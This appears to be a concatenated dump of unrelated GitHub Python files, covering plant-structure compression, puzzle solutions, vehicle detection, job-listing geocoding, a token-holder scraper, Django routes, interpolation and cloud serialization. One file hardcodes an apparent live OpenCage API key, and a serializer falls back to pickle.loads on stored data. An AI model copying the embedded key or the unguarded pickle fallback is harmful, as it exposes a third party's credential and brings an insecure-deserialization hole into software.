https://scm.gforge.inria.fr/svn/vplants/vplants/branches/SelfSimilarityDatabase.\n\npath_out_default=shared+\"/DataOut/\"\npath_in_default=shared+\"/Database/\"\n\n# =========================================================\n\ndef create_mtg(name, path_in=path_in_default, mtg_extension=True):\n\n path=path_in+name\n\n if mtg_extension:\n # print \"read the mtg file\"\n ng=MTG(path)\n else:\n # print \"read the str file\"\n cstring = file(path).read()\n cstring = cstring.replace('#','_')\n cstring = cstring.replace('\\r\\n','')\n l = Lstring(cstring)\n ng = axialtree2mtg(l,{'T':1,'A':1,'K':1},None)\n\n return ng\n\n# =========================================================\n\ndef compression(ng, path_out=path_out_default):\n\n # ===============================\n #roots = find_roots(ng)\n #r=roots[0]\n r=1\n # ===============================\n\n tree = mtg2graph(ng,3,r)\n dag = tree_reduction(tree)\n\n str_date=str(datetime.today()).replace(' ','_')\n path_tulip = path_out+\"tulip\"\n path_tmp_trees = path_out+\"tmp_trees\"\n save_tulip(dag,path_tulip+\"/dag\"+str_date+\".tlp\")\n\n tree_colored = tree_reconstruction(dag)\n dag_linearization(dag)\n nest = tree_reduction(dag)\n nest_tree = tree_reconstruction(dag)\n\n dag_linearization(dag)\n nest = tree_reduction(dag)\n nest_tree = tree_reconstruction(dag)\n\n save_tulip(nest,path_tulip+\"/dag_nest\"+str_date+\".tlp\")\n\n mtgheadfile(path_tmp_trees+\"/TreeAndNest\"+str_date+\".mtg\")\n graph2mtg(tree_colored,path_tmp_trees+\"/TreeAndNest\"+str_date+\".mtg\",0)\n graph2mtg(nest_tree,path_tmp_trees+\"/TreeAndNest\"+str_date+\".mtg\",1)\n\n mtgheadfile(path_tmp_trees+\"/Tree\"+str_date+\".mtg\")\n graph2mtg(tree_colored,path_tmp_trees+\"/Tree\"+str_date+\".mtg\",0)\n\n tree_mtg=MTG(path_tmp_trees+\"/Tree\"+str_date+\".mtg\")\n write_tlp_from_mtg(path_tulip+\"/tree\"+str_date+\".tlp\",tree_mtg,t0=2)\n\n mtgheadfile(path_tmp_trees+\"/NEST\"+str_date+\".mtg\")\n graph2mtg(nest_tree,path_tmp_trees+\"/NEST\"+str_date+\".mtg\",0)\n\n nest_mtg=MTG(path_tmp_trees+\"/NEST\"+str_date+\".mtg\")\n write_tlp_from_mtg(path_tulip+\"/NEST\"+str_date+\".tlp\",nest_mtg,t0=2)\n\n ng2 = MTG(path_tmp_trees+\"/TreeAndNest\"+str_date+\".mtg\")\n\n roots_to_compare = [v for v in ng2.VtxList(Scale=1)]\n\n a=ng2.sub_mtg(roots_to_compare[0])\n b=ng2.sub_mtg(roots_to_compare[1])\n\n cost = MtgNodeCost()\n m=MtgMatching(a,b,scale1=1,scale2=1,cost=cost)\n distance=m.match()\n\n return distance\n\n# ====================================================\n\ndef basic_compression(ng):\n\n roots = find_roots(ng)\n r=roots[0]\n tree = mtg2graph(ng,3,r)\n dag = tree_reduction(tree)\n\n tree_colored = tree_reconstruction(dag)\n dag_linearization(dag)\n nest = tree_reduction(dag)\n nest_tree = tree_reconstruction(dag)\n\n dag_linearization(dag)\n nest = tree_reduction(dag)\n nest_tree = tree_reconstruction(dag)\n\n return dag, nest, nest_tree\n\n# ====================================================","repo_name":"jldinh/vplants","sub_path":"self_similarity/src/openalea/self_similarity/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":3792,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"28373869135","text":"class Solution:\n def maxProfit(self, prices: List[int]) -> int:\n buy1 = buy2 = -prices[0]\n sell1 = sell2 = 0\n for price in prices:\n buy1 = max(buy1, -price)\n sell1 = max(sell1, buy1 + price)\n buy2 = max(buy2, sell1 - price)\n sell2 = max(sell2, buy2 + price)\n return sell2","repo_name":"dreamjean/LeetCode-JavaScript","sub_path":"0123-best-time-to-buy-and-sell-stock-iii/0123-best-time-to-buy-and-sell-stock-iii.py","file_name":"0123-best-time-to-buy-and-sell-stock-iii.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"24216202355","text":"from itertools import accumulate, chain, cycle\nfrom typing import Iterable, Set, Optional\n\n\ndef parse_line(line: str) -> int:\n return int(str.strip(line))\n\n\ndef parse_changes(path: str) -> Iterable[int]:\n with open(path) as file:\n return map(parse_line, file.readlines())\n\n\ndef prepend(value: int, iterator: Iterable[int]) -> Iterable[int]:\n return chain([value], iterator)\n\n\ndef accumulate_changes(initial: int, changes: Iterable[int]) -> Iterable[int]:\n cycled = cycle(changes)\n prepended = prepend(initial, cycled)\n return accumulate(prepended)\n\n\ndef first_duplicate(iterator: Iterable[int]) -> Optional[int]:\n seen: Set[int] = set()\n for value in iterator:\n if value in seen:\n return value\n else:\n seen.add(value)\n else:\n return None\n\n\ndef calibrate(initial: int, changes: Iterable[int]) -> Optional[int]:\n return first_duplicate(accumulate_changes(initial, changes))\n\n\nassert sum([1, -2, +3, +1]) == 3\nassert sum([1, 1, 1]) == 3\nassert sum([1, 1, -2]) == 0\nassert sum([-1, -2, -3]) == -6\n\nassert calibrate(0, [1, -1]) == 0\nassert calibrate(0, [1, -2, 3, 1, 1, -2]) == 2\nassert calibrate(0, [3, 3, 4, -2, -4]) == 10\nassert calibrate(0, [-6, 3, 8, 5, -6]) == 5\nassert calibrate(0, [7, 7, -2, -7, -4]) == 14\n\nchanges = list(parse_changes('data/day_01.txt'))\nprint('First 5 changes:', changes[:5])\nprint('Last 5 changes:', changes[-5:])\nprint('Part 1:', sum(changes))\nprint('Part 2:', calibrate(0, changes))\n","repo_name":"seeM/advent-of-code-2018","sub_path":"day_01_iter.py","file_name":"day_01_iter.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"36758155287","text":"import cv2\nimport os\n\n# Load the vehicle detection classifier (Haarcascades)\nvehicle_cascade = cv2.CascadeClassifier('D:/My AIT Knowledge/Deep Learning Computer Vision/Lec1/HW_LEC1/haarcascade_car.xml')\n\n# Initialize the camera\ncap = cv2.VideoCapture(\" rtsp:ad\")\n#cap = cv2.VideoCapture(\"rtsp://admin\")\n\n# Create a directory to save images\nsave_directory = \"vehicle_images\"\nos.makedirs(save_directory, exist_ok=True)\n\n# Capture 100 images\nimage_count = 0\n#image_count_cam1 = 0\n\nwhile image_count < 200:\n ret, frame = cap.read()\n # ret1, frame1 = cap1.read()\n \n if not ret:\n break\n # if not ret1:\n # break\n\n # Convert the frame to grayscale for detection\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n # gray1 = cv2.cvtColor(frame1, cv2.COLOR_BGR2GRAY)\n # Detect vehicles\n # vehicles = vehicle_cascade.detectMultiScale(gray, scaleFactor=1.1, minNeighbors=5, minSize=(50, 50))\n vehicles = vehicle_cascade.detectMultiScale(gray, scaleFactor=1.1, minNeighbors=5, minSize=(120, 120))\n\n # Draw rectangles around detected vehicles\n for (x, y, w, h) in vehicles:\n cv2.rectangle(frame, (x, y), (x + w, y + h), (0, 255, 0), 2)\n \n # Draw rectangles around detected vehicles1\n # for (x, y, w, h) in vehicles1:\n # cv2.rectangle(frame1, (x, y), (x + w, y + h), (0, 255, 0), 2)\n\n # Save the image with rectangles if vehicles are detected\n if len(vehicles) > 0:\n image_count += 1\n image_filename = os.path.join(save_directory, f\"vehicle_{image_count}.jpg\")\n cv2.imwrite(image_filename, frame)\n print(f\"Image '{image_filename}' saved with {len(vehicles)} vehicle(s) detected.\")\n \n # Save the image with rectangles if vehicles1 are detected\n # if len(vehicles1) > 0:\n # image_count_cam1 += 1\n # image_filename = os.path.join(save_directory, f\"vehicle_{image_count_cam1}.jpg\")\n # cv2.imwrite(image_filename, frame1)\n # print(f\"Image '{image_filename}' saved with {len(vehicles1)} vehicle(s) detected.\")\n\n cv2.imshow(\"Vehicle Detection\", frame)\n # cv2.imshow(\"Vehicle Detection1\", frame1)\n\n # Press Esc key to exit\n key = cv2.waitKey(1) & 0xFF\n if key == 27:\n break\n\ncap.release()\n#cap1.release()\ncv2.destroyAllWindows()\n","repo_name":"PolyConnor/Capture-Vehicle","sub_path":"Capture-Vehicle.py","file_name":"Capture-Vehicle.py","file_ext":"py","file_size_in_byte":2263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19213832539","text":"import sqlite3\nimport xml.etree.ElementTree as ET\nfrom opencage.geocoder import OpenCageGeocode\n\n\n# function designed to operate the opening of a new/reopening of a database\ndef open_db(filename: str):\n connection = sqlite3.connect(filename)\n return connection\n\n\n# the setup of the database creates 2 tables, one to contain the job titles along with their descriptions\n# as well as their locations. However the second database is designed to intake the jobs locations and their\n# coordinates because it is a unique database table which only allows one copy/instance of data at a time\n# which is how we will keep duplicate locations from being plotted/saved\ndef setup_db(cursor):\n cursor.execute('CREATE TABLE IF NOT EXISTS jobs(title TEXT, description TEXT, location TEXT)')\n cursor.execute('CREATE TABLE IF NOT EXISTS locals(location TEXT unique, lat REAL, lng REAL)')\n\n\n# this will store the individual jobs into the table by their attributes title/description/location\ndef store_in_db(cursor, title, location, description):\n cursor.execute('INSERT INTO jobs (title, location, description) VALUES (?, ?, ?)',\n (str(title), str(location), str(description),))\n cursor.execute('SELECT location FROM locals WHERE location = \"{}\"'.format(location))\n\n # this will grab all data in local and determine if there is an existing data or not\n existing_locals = cursor.fetchall()\n # if a data does not exist, it is time to insert it\n if len(existing_locals) == 0:\n key = 'af6bc3fce8f545e59cf087959211d13d'\n geo_coder = OpenCageGeocode(key)\n\n lat_lng = geo_coder.geocode(location)\n if len(lat_lng) > 0:\n lat = lat_lng[0]['geometry']['lat']\n lng = lat_lng[0]['geometry']['lng']\n\n # otherwise give no lat or lng\n else:\n lat = 0\n lng = 0\n\n cursor.execute('INSERT INTO locals (location, lat, lng) VALUES (?, ?, ?)',\n (str(location), float(lat), float(lng)))\n\n\n# this the parser that runs through the XML data and finds specifics in each item\ndef parse_xml(cursor, xmlfile):\n # create element tree object\n tree = ET.parse(xmlfile)\n\n # get root element\n root = tree.getroot()\n\n # pick out the items in the xml and pull the job title\n for item in root.findall('./channel/item'):\n title = item.find('./title')\n\n # this will run through the string backwards because the titles contain the location of the job at the end\n # of the string\n location = str(title.text).rpartition('(')[-1].strip(')')\n\n # to grab the description of the specified item\n description = item.find('./description')\n store_in_db(cursor, title.text, location, description.text)\n\n\ncon = open_db(\"jobs.db\")\ncur = con.cursor()\nsetup_db(cur)\n\nparse_xml(cur, 'list_of_jobs.xml')\n\ncon.commit()\n","repo_name":"BitDestroyer/dchamberlainJobsProject","sub_path":"Job_DB.py","file_name":"Job_DB.py","file_ext":"py","file_size_in_byte":2869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3943361679","text":"from __future__ import print_function\nimport requests\nfrom bs4 import BeautifulSoup\nimport csv\nimport time\n\nRESULTS = \"results.csv\"\nURL = \"https://etherscan.io/token/generic-tokenholders2?a=0xed1eba8b87cd7e04e9389f65f7aeca750c85a010&s=0&p=\"\n\ndef getData(sess, page):\n url = URL + page\n print(\"Retrieving page\", page)\n return BeautifulSoup(sess.get(url).text, 'html.parser')\n\ndef getPage(sess, page):\n table = getData(sess, str(int(page))).find('table')\n return [[X.text.strip() for X in row.find_all('td')] for row in table.find_all('tr')]\n\ndef main():\n resp = requests.get(URL)\n sess = requests.Session()\n\n with open(RESULTS, 'wb') as f:\n wr = csv.writer(f, quoting=csv.QUOTE_ALL)\n wr.writerow(map(str, \"Rank Address Quantity Percentage\".split()))\n page = 0\n while page < 30:\n page += 1\n data = getPage(sess, page)\n\n # Even pages that don't contain the data we're\n # after still contain a table.\n if len(data) < 4:\n break\n else:\n for row in data:\n wr.writerow(row)\n time.sleep(1)\n\nif __name__ == \"__main__\":\n main()","repo_name":"StormSpirit22/TelegramAirdop","sub_path":"Spider/spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"39750887802","text":"from django.conf.urls import url\nfrom .generics.views import DITHelpView, DITThanksView\nfrom .views import common, custom, api, old\n\n\napp_name = 'contact'\n\n# Basic non-form/API views\nurlpatterns = [\n url(r'^ping\\.json$', common.PingView.as_view(), name='ping'),\n url(r'^companies/$', api.company_detail_api, name='company_api'),\n]\n\n# Old redirected views\nurlpatterns += [\n url(r'^feedback/(?P<service>[-\\w\\d]+)/?$', old.FeedbackRedirectView.as_view(), name='feedback_submit'),\n url(r'^triage/(?P<service>[-\\w\\d]+)/?$', old.TriageRedirectView.as_view(), name='triage_submit'),\n]\n\n# Dedicated service/form specific views\nurlpatterns += [\n url(r'^soo/TriageForm/thanks?$', custom.TriageThanks.as_view(), name='triage_thanks'),\n]\n\n# Generic catch-all views that can figure out what form to serve\nurlpatterns += [\n url(r'^(?P<service>[-\\w\\d]+)/?$', common.InterstitialContactView.as_view(), name='interstitial'),\n url(r'^(?P<service>[-\\w\\d]+)/(?P<form_name>[-\\w\\d]+)/?$',\n common.DefaultHelpView.as_view(),\n name='generic_submit'),\n url(r'^(?P<service>[-\\w\\d]+)/(?P<form_name>[-\\w\\d]+)/thanks/?$',\n common.DefaultThanksView.as_view(),\n name='generic_thanks'),\n]\n","repo_name":"uktrade/help","sub_path":"contact/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"70287285032","text":"'''List all tables'''\n\nimport os\nfrom python_path import PythonPath\n\nfrom dotenv import load_dotenv\n\npath = os.path.join(\"..\", \"..\")\n\nwith PythonPath(path, relative_to = __file__):\n from bq_client import client_oauth #pylint: disable=E0401\n\ndef list_tables(client, dataset_id):\n \"\"\"Method to list all the Project tables\"\"\"\n tables = client.list_tables(dataset_id)\n\n print(f\"Tables contained in '{dataset_id}':\")\n for table in tables:\n print(f\"\\t{table.project}.{table.dataset_id}.{table.table_id}\")\n\nif __name__ == '__main__':\n load_dotenv()\n\n bq_client = client_oauth('dbt_bigquery_creds.json')\n project = os.environ.get('PROJECT')\n project_id = os.environ.get('PROJECT_ID')\n\n # dataset id\n DATASET_ID = project + '.' + project_id\n list_tables(client=bq_client, dataset_id=DATASET_ID)\n","repo_name":"Mega-Barrel/dbt-log-analytics","sub_path":"backend/db/list_tables.py","file_name":"list_tables.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"46025487650","text":"import bisect\n\nclass linterpol(object):\n \"\"\"docstring for linterpol\"\"\"\n def __init__(self, keyval_pairs = None):\n self.x_list = [] # Sorted\n self.y_list = []\n\n if keyval_pairs:\n for key, val in keyval_pairs:\n self[key] = val\n\n def __call__(self, key):\n # Error for zero keys\n if len(self.x_list) == 0:\n raise KeyError('No key/value pairs defined')\n # Constant for one key\n if len(self.x_list) == 1:\n return self.y_list[0]\n index_right = min(bisect.bisect_left(self.x_list,key), len(self)-1)\n index_left = index_right-1\n # Interpolate\n key_left, key_right = self.x_list[index_left], self.x_list[index_right]\n weight_left, weight_right = (key_right-key)/(key_right-key_left), (key-key_left)/(key_right-key_left)\n return (self.y_list[index_left]*weight_left + self.y_list[index_right]*weight_right)\n\n\n def __setitem__(self, key, value):\n # Find insertion point\n insertion_index = bisect.bisect_left(self.x_list,key)\n if insertion_index < len(self) and self.x_list[insertion_index] == key:\n #override\n self.y_list[insertion_index] = value\n else:\n # Insert into key and value array.\n self.x_list[insertion_index:insertion_index] = [key]\n self.y_list[insertion_index:insertion_index] = [value]\n\n def __len__(self):\n return len(self.x_list)\n\n def __delitem__(self, key):\n key_index = self.x_list.index(key)\n del(self.x_list[key_index])\n del(self.y_list[key_index])\n\n def __repr__(self):\n return ', '.join(['{}:{}'.format(k,v) for k,v in self.get_pairs()])\n\n def get_pairs(self):\n return zip(self.x_list, self.y_list)\n\n def get_intervals(self):\n x_intervals = (t - s for s, t in zip(self.x_list, self.x_list[1:]))\n y_intervals = (t - s for s, t in zip(self.y_list, self.y_list[1:]))\n return zip(x_intervals, y_intervals)\n\n def get_sq_distances(self):\n return (x_int**2 + y_int**2 for x_int, y_int in self.get_intervals())\n\n def get_slopes(self):\n # Approximate derivative\n return (y_int/x_int for x_int, y_int in self.get_intervals())\n\n def get_trapezoidal_sum(self, lower = 0, upper = None):\n # Approximate integral\n if not upper:\n upper = len(self)\n trap_sum = 0\n intervals = list(self.get_intervals())\n for i in range(lower, upper-1):\n delta_x = intervals[i][0]\n trap_sum += delta_x * (self.y_list[i] + self.y_list[i+1])/2\n return trap_sum\n\n\n def prune_dense_nodes(self, min_dist):\n sq_dists = list(self.get_sq_distances())\n node_is_dense = lambda i: sq_dists[i-1] < min_dist**2 and sq_dists[i] < min_dist**2\n dense_indices = [i for i in range(1, len(self)-1) if node_is_dense(i) and i%2==1] # only prune odd nodes\n self.x_list = [x for i, x in enumerate(self.x_list) if i not in dense_indices]\n self.y_list = [y for i, y in enumerate(self.y_list) if i not in dense_indices]\n if dense_indices:\n self.prune_dense_nodes(min_dist)\n\n\n\nclass linterpol_dict(dict):\n \"\"\"docstring for linterpol_dict\"\"\"\n def __init__(self):\n super(linterpol_dict, self).__init__()\n self.x_list = [] # Sorted keys\n\n def __call__(self, key):\n # Error for zero keys\n if len(self.x_list) == 0:\n raise KeyError('No key/value pairs defined')\n # Constant for one key\n if len(self.x_list) == 1:\n return self[self.x_list[0]]\n index_right = min(bisect.bisect_left(self.x_list,key), len(self)-1)\n index_left = index_right-1\n # Interpolate\n key_left, key_right = self.x_list[index_left], self.x_list[index_right]\n weight_left, weight_right = (key_right-key)/(key_right-key_left), (key-key_left)/(key_right-key_left)\n value_left, value_right = self[self.x_list[index_left]], self[self.x_list[index_right]]\n return (value_left*weight_left + value_right*weight_right)\n\n def __setitem__(self, key, value):\n # Insert key into sorted array\n insertion_index = bisect.bisect_left(self.x_list,key)\n if insertion_index < len(self) and self.x_list[insertion_index] == key:\n #override\n pass\n else:\n # Insert into key array\n self.x_list[insertion_index:insertion_index] = [key]\n\n # Add value\n super().__setitem__(key, value)\n\n def __delitem__(self, key):\n key_index = self.x_list.index(key)\n del(self.x_list[key_index])\n super().__delitem__(key)\n\n def items(self):\n # Sorted output\n return ([k, self[k]] for k in self.x_list)\n\n def get_intervals(self):\n items = list(self.items())\n x_intervals = (t - s for s, t in zip(self.x_list, self.x_list[1:]))\n y_intervals = (t - s for s, t in zip(self.y_list, self.y_list[1:]))\n return zip(x_intervals, y_intervals)\n\n def get_sq_distances(self):\n return (x_int**2 + y_int**2 for x_int, y_int in self.get_intervals())\n\n def get_slopes(self):\n # Approximate derivative\n return (y_int/x_int for x_int, y_int in self.get_intervals())\n\n\nli = linterpol_dict()\n\nli[0] = 0\nli[1] = 1\n\nprint(li[1])\nprint(li(.2))\n\ndel(li[0])\nprint(li)\n\nprint(list(li.items()))\n\n# exit()\n\n\nfrom math import sin\nimport random as rng\nimport matplotlib.pyplot as plt\n\n\nli = linterpol()\nfor i in range(10000):\n x = 2*rng.random() + .001\n y = sin(1/x)\n li[x] = y\n\nprint(len(li))\nli.prune_dense_nodes(.01)\nprint(li.x_list[-10:])\nfig, ax = plt.subplots()\n\n# plt.grid(False)\n# plt.axis('off')\n\nax.plot(li.x_list,li.y_list)\nplt.show()\n","repo_name":"randompirate/algostructures-and-datarithms","sub_path":"20170412_struct_linear_interpol.py","file_name":"20170412_struct_linear_interpol.py","file_ext":"py","file_size_in_byte":5324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4344897975","text":"class CustomerOrder:\n def __init__(\n self,\n client_name,\n order_date,\n quantity,\n product_description,\n price_per_unit,\n ):\n self.customer_name = client_name\n self.order_date = order_date\n self.quantity = quantity\n self.product_description = product_description\n self.price_per_unit = price_per_unit\n","repo_name":"Ally288/CC_Homework","sub_path":"Week_3/wk3day3_HW/models/CustomerOrder.py","file_name":"CustomerOrder.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"69975151593","text":"from grids import *\nfrom io_functions import get_ligands\nfrom analysis import analyze_docking_results_multiple\n\nbase = \"/scratch/users/enf/b2ar_analysis/glide_test_1\"\nreceptors_dir = \"%s/receptors\" %base\t#where your receptor files in pdb format live\nligands_dir = \"%s/ligands\" %base\t\t#where your ligand files in SDF format live (probably trivial to make it mol2 compatible )\n#reimaged_dir = \"%s/receptors_reimaged\" %base\t#if you reimage, where your receptors will be reimaged to. OTHERWISE just set it to your original receptors dir\nreimaged_dir = receptors_dir\ngrids_dir = \"%s/grids\" %base\t\t\t#where the docking grids will be saved\ndocking_dir = \"%s/docking\" %base \t\t#where docking results willbe saved\nmae_dir = reimaged_dir\t\t\t\t\t#where the mae files will be saved after the protein prep stage \ndocking_summary = \"%s/docking_summary.csv\" %base\n\n''' grid_center:\nMust be user-specified for now. There is an easy GUI way to do this in Schrodinger.\nOpen your reference receptor file, i.e. the file containing the receptor to which you will align all\nother receptors and the one containing the co-crystallized or pre-docked/ligand. In Schrodinger, go to \nFile --> Import your reference receptor. Run protein prep wizard. Then go to Tasks --> docking --> grid generation\nIn \"Receptor\" tab, make sure you have checked \"Pick to identify ligand\" and \"Show markers\". Then, go to \"Site\" tab.\nCopy the listed X, Y, Z coordinates. Boom.\n'''\nactive_ref_dir = \"%s/3P0G_pymol_prepped.pdb\" %base\t\t\t#pdb or mae file containgin the reference receptor to which all \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#other receptors will be aligned, important for choosing the right\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#xyz centroid for the binding box\ngrid_center = \"64.4, 16.9, 11.99\"\t\t\t\t\t\t\t#note how this is a string, not a python tuple\n\n#reimage_trajs(receptors_dir, ext = \".pdb\")\trequires PyTraj, do only if you have to reimage your receptors\npprep(reimaged_dir, ref = active_ref_dir)\t\t\t\t\t#runs schrodinger protein prep wizard, gets aligned and prepped mae file per receptor\n\n#if there is a ligand you need to remove before docking, set remove_lig to a 3-letter string denoting its residue name\n#e.g. for B2AR PDB 3P0G I would pass remove_lig = \"BIA\"\ngenerate_grids(mae_dir, grid_center, grids_dir, remove_lig = None)\t\t\t#generates docking grids for each receptor\n\ninverse_agonist_ligands = get_ligands(ligands_dir)\t\t\t\nprepare_ligands(ligands_dir, ext = \".sdf\")\t\t\t\t\t#invoke Schrodinger LigPrep to prepare ligands for docking\n\nprecision = \"SP\"\n\n#if n_ligands > n_receptors, set parallel = \"ligand\". if n_receptors > n_ligands, set parallel = \"receptor\"\ndock_ligands_and_receptors(grids_dir, docking_dir, ligands_dir, precision = precision, ext = \"-out.maegz\", parallel = \"ligand\")\n\nanalyze_docking_results_multiple(docking_dir, precision = \"SP\", ligands = inverse_agonist_ligands, summary = docking_summary)\n\n","repo_name":"amirbarati/conformation","sub_path":"glide_test.py","file_name":"glide_test.py","file_ext":"py","file_size_in_byte":2838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"40260446427","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Apr 9 22:51:21 2021\r\n\r\n@author: guanglan\r\n\"\"\"\r\n\r\n\r\n# Passing an immutable object to a function\r\ndef my_function(param):\r\n '''Print value and its ID '''\r\n print(f'x is {param} and its id is {id(param)}')\r\n\r\n\r\narg = 5\r\nprint(id(arg))\r\nmy_function(arg)\r\n\r\n\r\n# A function can’t modify an immutable object in the calling environment\r\ndef my_function1(param):\r\n \"\"\"Pay attention to the the parameter's ID\"\"\"\r\n param = 10 # the assignment change the reference to a different object\r\n print(f'x is {param} and its id is {id(param)}')\r\n\r\n\r\narg = 5\r\nprint(id(arg))\r\nmy_function1(arg)\r\nprint(arg, id(arg))\r\n\r\n\r\n# passing mutable objects to a function\r\ndef my_function2(param_list):\r\n print(f'Parameter list before modification: {param_list}')\r\n param_list[0] = 10 # modification in place\r\n print(f'Parameter list after modification: {param_list}')\r\n\r\n\r\narg_list = [1, 2, 3]\r\nmy_function2(arg_list)\r\nprint(arg_list) # arg_list got modified too\r\n\r\n\r\ndef sort_list1(x_list):\r\n '''sort a list in place'''\r\n return x_list.sort()\r\n\r\n\r\narg_list = [4, 2, 3]\r\nsort_list1(arg_list)\r\nprint(arg_list) # arg_list got modified too\r\n\r\n\r\ndef sort_list2(x_list):\r\n '''create a new list containing the sorted values'''\r\n return sorted(x_list) # an new object is created\r\n\r\n\r\narg_list = [4, 2, 3]\r\ny_list = sort_list2(arg_list)\r\nprint(arg_list, y_list) # arg_list is unchanged\r\n\r\n\r\n# Passing a mutable object to a function\r\ndef my_function3(element, param_list=[]):\r\n param_list.append(element)\r\n return param_list\r\n\r\n\r\nmy_function3(1)\r\nmy_function3(2)\r\nmy_function3(3)\r\n\r\n\r\n# a parameter listed without assignment is a required parameter\r\ndef apply_discount(price, off_rate=0.1):\r\n return price * (1 - off_rate)\r\n\r\n\r\napply_discount(10, 0.2) # passing by position\r\napply_discount(off_rate=0.2, price=10) # passing by keyword\r\napply_discount(10) # use default value for off_rate\r\napply_discount() # error, price is a required parameter\r\n\r\n\r\n# argument tuple packing\r\ndef cal_mean(*args):\r\n if len(args) != 0:\r\n return sum(args) / len(args)\r\n\r\n\r\nresult = cal_mean()\r\nprint(result)\r\ncal_mean(1)\r\ncal_mean(1, 2, 3)\r\n\r\n\r\n# argument dictionary packing\r\ndef my_function4(param1, *args, **kwargs):\r\n print(param1)\r\n print(args)\r\n for k, v in kwargs.items():\r\n print(f\"{k} is {v}\")\r\n\r\n\r\nmy_function4('0001', \"Ward Elementary School\", \"Class 2\",\r\n Name='John Smith', DOB='01/01/1989')\r\n\r\n\r\n# Handle exceptions\r\n# print built-in exceptions, functions, and attributes.\r\nprint(dir(locals()['__builtins__']))\r\n\r\n\r\ndef multi_div(a, b):\r\n '''multiply and divide two numbers '''\r\n x, y = a*b, a/b\r\n return x, y\r\n\r\n\r\nprint(multi_div)\r\nprint(multi_div.__doc__)\r\nhelp(multi_div)\r\nmulti_div(5, 0) # ZeroDivisionError\r\nmulti_div(5, 'apple') # TypeError\r\n\r\n\r\ndef multi_div1(a, b):\r\n '''multiply and divide two numbers and check for exception '''\r\n x, y = None, None\r\n\r\n try:\r\n x = a*b\r\n y = a/b\r\n except ZeroDivisionError:\r\n print(\"cannot divide by zero\")\r\n except Exception as e:\r\n print(f'Python error: {e}')\r\n else:\r\n print(\"Calculations were done correctly!\")\r\n finally:\r\n print(\"always run this part\")\r\n return x, y\r\n\r\n\r\nmulti_div1(5, 1)\r\nmulti_div1(5, 0)\r\nmulti_div1(5, 'apple')\r\n\r\n\r\n# Exercise: Write a function to calculate arithmetic progression\r\n\r\n\r\n\r\n\r\n# Exercise: Write a function ratio_list() to compute the ratio of\r\n# the 2nd element divided by the 1st element in a list, and return the ratio\r\n\r\n\r\n\r\n","repo_name":"audrec/Information-System-in-Python","sub_path":"Week5/lecture9_noSolution.py","file_name":"lecture9_noSolution.py","file_ext":"py","file_size_in_byte":3584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"34755269970","text":"from __future__ import annotations\n\nimport logging\nimport pickle\nfrom concurrent.futures import Future, ThreadPoolExecutor\nfrom typing import TypeVar, Generic, List, Iterable, overload, Any, Tuple, Union\n\nimport numpy as np\nimport pyarrow as pa\nfrom lithops.storage import Storage\nfrom lithops.storage.utils import CloudObject\n\nlogger = logging.getLogger('annotation-pipeline')\nTItem = TypeVar('TItem')\nTArg = TypeVar('TArg')\nTRet = TypeVar('TRet')\n\n\nclass CObj(Generic[TItem], CloudObject):\n \"\"\"\n Wrapper type to allow CloudObjects to keep track of the type of their serialized contents.\n Ideally this, along with some serialization/deserialization logic, should be upstreamed into\n Lithops. e.g. add alternatives Storage.save_cobject/Storage.load_object that handle instances,\n in contrast to Storage.get_cloudobject/Storage.put_cloudobject to handle bytes/streams.\n \"\"\"\n\n def __init__(self, backend, bucket, key):\n CloudObject.__init__(self, backend, bucket, key)\n\n\ndef serialize_to_file(obj, path):\n with open(path, 'wb') as file:\n file.write(pa.serialize(obj).to_buffer())\n\n\ndef deserialize_from_file(path):\n with open(path, 'rb') as file:\n data = pa.deserialize(file.read())\n return data\n\n\ndef serialize(obj):\n try:\n return pa.serialize(obj).to_buffer().to_pybytes()\n except pa.lib.SerializationCallbackError:\n return pickle.dumps(obj)\n\n\ndef deserialize(data):\n try:\n return pa.deserialize(data)\n except (pa.lib.ArrowInvalid, OSError):\n return pickle.loads(data)\n\n\ndef save_cobj(storage: Storage, obj: TItem, bucket: str = None, key: str = None) -> CObj[TItem]:\n return storage.put_cloudobject(serialize(obj), bucket, key)\n\n\n@overload\ndef load_cobj(storage: Storage, cobj: CObj[TItem]) -> TItem:\n ...\n\n\n@overload\ndef load_cobj(storage: Storage, cobj: CloudObject):\n ...\n\n\ndef load_cobj(storage: Storage, cobj):\n try:\n return deserialize(storage.get_cloudobject(cobj))\n except Exception:\n logger.error(f'Failed to deserialize {cobj}')\n raise\n\n\ndef save_cobjs(storage: Storage, objs: Iterable[TItem]) -> List[CObj[TItem]]:\n with ThreadPoolExecutor() as pool:\n return list(pool.map(lambda obj: save_cobj(storage, obj), objs))\n\n\n@overload\ndef load_cobjs(storage: Storage, cobjs: Iterable[CObj[TItem]]) -> List[TItem]:\n ...\n\n\n@overload\ndef load_cobjs(storage: Storage, cobjs: 